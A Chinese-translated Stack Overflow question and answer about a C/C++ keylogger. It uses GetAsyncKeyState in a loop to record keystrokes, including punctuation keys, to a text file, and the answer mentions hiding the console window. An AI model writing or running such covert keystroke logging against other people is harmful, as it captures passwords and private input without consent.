【问题标题】:Cannot capture special keys in C/C++ keylogger using GetAsyncKeyState无法使用 GetAsyncKeyState 在 C/C++ 键盘记录器中捕获特殊键
【发布时间】:2020-03-28 18:53:12
【问题描述】:

我用 C/C++ 编写了一个小型按键记录器,旨在捕获所有按下的按键。但是,我无法捕获一些特殊键,例如 ; : [ ] \ / ? " ' .

假设我想捕获 ;: 键。 目前,我在无限循环中有以下代码sn-p:

if (GetAsyncKeyState(0xBA) == -32767)
    {
        //the statements inside the if clause are not executed when the key is pressed
        std::ofstream write("Record.txt", ios::app);
        if (GetAsyncKeyState(0x10))
            write << ":";
        else
            write << ";";

    }

其中 0x10 是“SHIFT”虚拟键 (VK_SHIFT) 的代码,VK_OEM_1 (0xBA) 是 ; 的虚拟键,如 Microsoft Docs 中所述:https://docs.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes

据我所知,GetAsyncKeyState 函数在刚刚释放键后返回 -32767。

上述代码适用于其他虚拟键或简单键,如 ASCII 表中所述(例如,GetAsyncKeyState(48) 适用于 0 键,GetAsyncKeyState(VK_RETURN) 适用于 ENTER 键等等。

我已经尝试为GetAsyncKeyState 函数输入以下参数:

  1. ';' 的 ASCII 码,即 59
  2. ';'人物
  3. VK_OEM_1 - 虚拟密钥
  4. 0xBA - 十六进制的虚拟键值
  5. 186,正如我在这里找到的:https://www.amibroker.com/guide/afl/getasynckeystate.html

当按下 ';' 键时,没有任何参数使函数返回 -32767。

您是否知道我应该如何使用该功能来捕获该键以及因此我的方法未捕获的所有其他键 ( [ ] \ / ?" ' 。 )?

P.S:我使用的是标准英语(美国)键盘布局。

提前致谢!

【问题讨论】:

  • 它返回 2 位信息,位 #0 和位 #15。测试一个键是否关闭的最简单方法是使用 GetAsyncKeyState(key)
  • 之前试过,没有成功。

标签: c++ keylogger


【解决方案1】:

我找到了解决方案。当您从屏幕上隐藏控制台时,似乎 Visual Studio 会发疯(就像您更改了代码中的某些内容,但是当您再次运行应用程序时,更改不会传播)。

但是,我想与您分享一些可能导致我遇到的错误的错误:

  1. 如果您使用char 变量来存储ASCII 码,对于某些键,它可能会超过最大char 大小,因此我建议使用unsigned charint
  2. 如果您计划遍历所有可能的 ASCII 代码列表,请尝试增加扩展 ASCII 表的大小。不要局限于标准的。

以下是可能对您有所帮助的问题的相应代码 sn-p:

int main()
{
    while (1){
    for (unsigned char i = 0; i < 255; i++){
            if (GetAsyncKeyState(i) == -32767) {
                if (i == VK_OEM_1) {
                    cout << ";";
                }
            }

        // ....
    }
}

}

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2014-05-14
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-07-21
    相关资源
    最近更新 更多